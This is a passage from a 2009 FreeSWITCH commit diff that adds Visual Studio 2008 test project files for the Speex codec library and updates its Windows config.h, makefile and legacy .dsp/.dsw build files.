+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_wb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_wb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testenc_wb.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testresample.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testresample.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/tests/testresample.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testresample.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testresample.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,305 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="testresample"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testresample.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testresample.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testresample.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testresample.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/speex/win32/config.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/config.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,20 @@
+// Microsoft version of 'inline'
 #define inline __inline
-#define restrict
-#include "misc.h"
\ No newline at end of file
+
+// Visual Studio support alloca(), but it always align variables to 16-bit
+// boundary, while SSE need 128-bit alignment. So we disable alloca() when
+// SSE is enabled.
+#ifndef _USE_SSE
+#  define USE_ALLOCA
+#endif
+
+/* Default to floating point */
+#ifndef FIXED_POINT
+#  define FLOATING_POINT
+#  define USE_SMALLFT
+#else
+#  define USE_KISS_FFT
+#endif
+
+/* We don't support visibility on Win32 */
+#define EXPORT

Modified: freeswitch/branches/seven/libs/speex/win32/libspeex/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/libspeex/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/libspeex/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,4 +3,4 @@
 # Disable automatic dependency tracking if using other tools than gcc and gmake
 #AUTOMAKE_OPTIONS = no-dependencies
 
-EXTRA_DIST = libspeex.dsp  libspeex.dsw libspeex_dynamic.dsp speex.def
+EXTRA_DIST = libspeex.dsw libspeex.dsp libspeex_dynamic.dsp libspeexdsp.dsp libspeexdsp_dynamic.dsp

Modified: freeswitch/branches/seven/libs/speex/win32/libspeex/libspeex.dsp (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/libspeex/libspeex.dsp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/libspeex/libspeex.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,7 +42,8 @@
 # PROP Target_Dir ""
 F90=df.exe
 # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /YX /FD /c
-# ADD CPP /nologo /GX /Ox /Ot /Og /Oi /Ob2 /I "../../include" /I "../" /D inline=__inline /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "HAVE_CONFIG_H" /YX /FD /c
+# ADD CPP /nologo /MD /GX- /O2 /Ob2 /I "../../include" /I "../" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_LIB" /D "HAVE_CONFIG_H" /FD /c
+# SUBTRACT CPP /YX
 # ADD BASE RSC /l 0x809 /d "NDEBUG"
 # ADD RSC /l 0x809 /d "NDEBUG"
 BSC32=bscmake.exe
@@ -50,7 +51,7 @@
 # ADD BSC32 /nologo
 LIB32=link.exe -lib
 # ADD BASE LIB32 /nologo
-# ADD LIB32 /nologo
+# ADD LIB32 /nologo /out:"..\..\lib\libspeex.lib"
 
 !ELSEIF  "$(CFG)" == "libspeex - Win32 Debug"
 
@@ -66,7 +67,8 @@
 # PROP Target_Dir ""
 F90=df.exe
 # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /YX /FD /GZ /c
-# ADD CPP /nologo /W3 /GX /Ox /Ot /Og /Oi /Ob2 /I "../../include" /I "../" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "HAVE_CONFIG_H" /YX /FD /c
+# ADD CPP /nologo /MDd /W3 /GX- /Zi /Od /Ob2 /I "../../include" /I "../" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_LIB" /D "HAVE_CONFIG_H" /FD /c
+# SUBTRACT CPP /YX
 # ADD BASE RSC /l 0x809 /d "_DEBUG"
 # ADD RSC /l 0x809 /d "_DEBUG"
 BSC32=bscmake.exe
@@ -74,7 +76,7 @@
 # ADD BSC32 /nologo
 LIB32=link.exe -lib
 # ADD BASE LIB32 /nologo
-# ADD LIB32 /nologo
+# ADD LIB32 /nologo /out:"..\..\lib\libspeex.lib"
 
 !ENDIF 
 
@@ -159,26 +161,18 @@
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\math_approx.c
+SOURCE=..\..\libspeex\modes.c
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\misc.c
+SOURCE=..\..\libspeex\modes_wb.c
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\modes.c
-# End Source File
-# Begin Source File
-
 SOURCE=..\..\libspeex\nb_celp.c
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\preprocess.c
-# End Source File
-# Begin Source File
-
 SOURCE=..\..\libspeex\quant_lsp.c
 # End Source File
 # Begin Source File
@@ -187,10 +181,6 @@
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\smallft.c
-# End Source File
-# Begin Source File
-
 SOURCE=..\..\libspeex\speex.c
 # End Source File
 # Begin Source File
@@ -213,20 +203,44 @@
 
 SOURCE=..\..\libspeex\vq.c
 # End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\window.c
+# End Source File
 # End Group
 # Begin Group "Header Files"
 
 # PROP Default_Filter "h;hpp;hxx;hm;inl"
 # Begin Source File
 
+SOURCE=..\..\libspeex\arch.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\libspeex\cb_search.h
 # End Source File
 # Begin Source File
 
+SOURCE=..\..\libspeex\cb_search_sse.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\libspeex\filters.h
 # End Source File
 # Begin Source File
 
+SOURCE=..\..\libspeex\filters_sse.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fixed_debug.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fixed_generic.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\libspeex\lpc.h
 # End Source File
 # Begin Source File
@@ -239,10 +253,14 @@
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\misc.h
+SOURCE=..\..\libspeex\ltp_sse.h
 # End Source File
 # Begin Source File
 
+SOURCE=..\..\libspeex\math_approx.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\libspeex\modes.h
 # End Source File
 # Begin Source File
@@ -251,6 +269,10 @@
 # End Source File
 # Begin Source File
 
+SOURCE=..\..\libspeex\os_support.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\libspeex\quant_lsp.h
 # End Source File
 # Begin Source File
@@ -259,44 +281,52 @@
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\smallft.h
+SOURCE=..\..\libspeex\stack_alloc.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex.h
+SOURCE=..\..\libspeex\vbr.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex_bits.h
+SOURCE=..\..\libspeex\vq.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex_callbacks.h
+SOURCE=..\..\libspeex\vq_sse.h
 # End Source File
+# End Group
+# Begin Group "Public Header Files"
+
+# PROP Default_Filter "*.h"
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex_denoise.h
+SOURCE=..\..\include\speex\speex.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex_header.h
+SOURCE=..\..\include\speex\speex_bits.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex_stereo.h
+SOURCE=..\..\include\speex\speex_callbacks.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\stack_alloc.h
+SOURCE=..\..\include\speex\speex_header.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\vbr.h
+SOURCE=..\..\include\speex\speex_stereo.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\vq.h
+SOURCE=..\..\include\speex\speex_types.h
 # End Source File
 # End Group
+# Begin Source File
+
+SOURCE=..\config.h
+# End Source File
 # End Target
 # End Project

Modified: freeswitch/branches/seven/libs/speex/win32/libspeex/libspeex.dsw (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/libspeex/libspeex.dsw	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/libspeex/libspeex.dsw	2009-08-09 18:53:22 UTC (rev 14472)
@@ -27,6 +27,30 @@
 
 ###############################################################################
 
+Project: "libspeexdsp"=.\libspeexdsp.dsp - Package Owner=<4>
+
+Package=<5>
+{{{
+}}}
+
+Package=<4>
+{{{
+}}}
+
+###############################################################################
+
+Project: "libspeexdsp_dynamic"=.\libspeexdsp_dynamic.dsp - Package Owner=<4>
+
+Package=<5>
+{{{
+}}}
+
+Package=<4>
+{{{
+}}}
+
+###############################################################################
+
 Global:
 
 Package=<5>

Modified: freeswitch/branches/seven/libs/speex/win32/libspeex/libspeex_dynamic.dsp (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/libspeex/libspeex_dynamic.dsp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/libspeex/libspeex_dynamic.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -43,7 +43,8 @@
 # PROP Ignore_Export_Lib 0
 # PROP Target_Dir ""
 # ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBSPEEX_DYNAMIC_EXPORTS" /YX /FD /c
-# ADD CPP /nologo /MT /W3 /GX /O2 /I "../../include" /I "../" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBSPEEX_DYNAMIC_EXPORTS" /D "HAVE_CONFIG_H" /YX /FD /c
+# ADD CPP /nologo /MD /W3 /GX /O2 /I "../../include" /I "../" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "HAVE_CONFIG_H" /FD /c
+# SUBTRACT CPP /YX
 # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
 # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
 # ADD BASE RSC /l 0x409 /d "NDEBUG"
@@ -53,7 +54,7 @@
 # ADD BSC32 /nologo
 LINK32=link.exe
 # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
-# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Release/libspeex.dll"
+# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"..\..\bin\libspeex.dll" /implib:"..\..\lib\libspeex.lib"
 
 !ELSEIF  "$(CFG)" == "libspeex_dynamic - Win32 Debug"
 
@@ -69,7 +70,8 @@
 # PROP Ignore_Export_Lib 0
 # PROP Target_Dir ""
 # ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBSPEEX_DYNAMIC_EXPORTS" /YX /FD /GZ /c
-# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /I "../../include" /I "../" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LIBSPEEX_DYNAMIC_EXPORTS" /D "HAVE_CONFIG_H" /YX /FD /GZ /c
+# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /I "../../include" /I "../" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "HAVE_CONFIG_H" /FD /GZ /c
+# SUBTRACT CPP /YX
 # ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
 # ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
 # ADD BASE RSC /l 0x409 /d "_DEBUG"
@@ -79,7 +81,7 @@
 # ADD BSC32 /nologo
 LINK32=link.exe
 # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
-# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /out:"Debug/libspeex.dll" /pdbtype:sept
+# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /out:"..\..\bin\libspeex.dll" /implib:"..\..\lib\libspeex.lib" /pdbtype:sept
 
 !ENDIF 
 
@@ -89,7 +91,7 @@
 # Name "libspeex_dynamic - Win32 Debug"
 # Begin Group "Source Files"
 
-# PROP Default_Filter ""
+# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
 # Begin Source File
 
 SOURCE=..\..\libspeex\bits.c
@@ -164,26 +166,18 @@
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\math_approx.c
+SOURCE=..\..\libspeex\modes.c
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\misc.c
+SOURCE=..\..\libspeex\modes_wb.c
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\modes.c
-# End Source File
-# Begin Source File
-
 SOURCE=..\..\libspeex\nb_celp.c
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\preprocess.c
-# End Source File
-# Begin Source File
-
 SOURCE=..\..\libspeex\quant_lsp.c
 # End Source File
 # Begin Source File
@@ -192,18 +186,10 @@
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\smallft.c
-# End Source File
-# Begin Source File
-
 SOURCE=..\..\libspeex\speex.c
 # End Source File
 # Begin Source File
 
-SOURCE=.\speex.def
-# End Source File
-# Begin Source File
-
 SOURCE=..\..\libspeex\speex_callbacks.c
 # End Source File
 # Begin Source File
@@ -222,20 +208,44 @@
 
 SOURCE=..\..\libspeex\vq.c
 # End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\window.c
+# End Source File
 # End Group
 # Begin Group "Header Files"
 
 # PROP Default_Filter "h;hpp;hxx;hm;inl"
 # Begin Source File
 
+SOURCE=..\..\libspeex\arch.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\libspeex\cb_search.h
 # End Source File
 # Begin Source File
 
+SOURCE=..\..\libspeex\cb_search_sse.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\libspeex\filters.h
 # End Source File
 # Begin Source File
 
+SOURCE=..\..\libspeex\filters_sse.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fixed_debug.h
+# End Source File
+# Begin Source File
+
+SOURCE=..\..\libspeex\fixed_generic.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\libspeex\lpc.h
 # End Source File
 # Begin Source File
@@ -248,10 +258,14 @@
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\misc.h
+SOURCE=..\..\libspeex\ltp_sse.h
 # End Source File
 # Begin Source File
 
+SOURCE=..\..\libspeex\math_approx.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\libspeex\modes.h
 # End Source File
 # Begin Source File
@@ -260,6 +274,10 @@
 # End Source File
 # Begin Source File
 
+SOURCE=..\..\libspeex\os_support.h
+# End Source File
+# Begin Source File
+
 SOURCE=..\..\libspeex\quant_lsp.h
 # End Source File
 # Begin Source File
@@ -268,44 +286,56 @@
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\smallft.h
+SOURCE=..\..\libspeex\stack_alloc.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex.h
+SOURCE=..\..\libspeex\vbr.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex_bits.h
+SOURCE=..\..\libspeex\vq.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex_callbacks.h
+SOURCE=..\..\libspeex\vq_sse.h
 # End Source File
+# End Group
+# Begin Group "Public Header Files"
+
+# PROP Default_Filter "*.h"
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex_denoise.h
+SOURCE=..\..\include\speex\speex.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex_header.h
+SOURCE=..\..\include\speex\speex_bits.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\speex_stereo.h
+SOURCE=..\..\include\speex\speex_callbacks.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\stack_alloc.h
+SOURCE=..\..\include\speex\speex_header.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\vbr.h
+SOURCE=..\..\include\speex\speex_stereo.h
 # End Source File
 # Begin Source File
 
-SOURCE=..\..\libspeex\vq.h
+SOURCE=..\..\include\speex\speex_types.h
 # End Source File
 # End Group
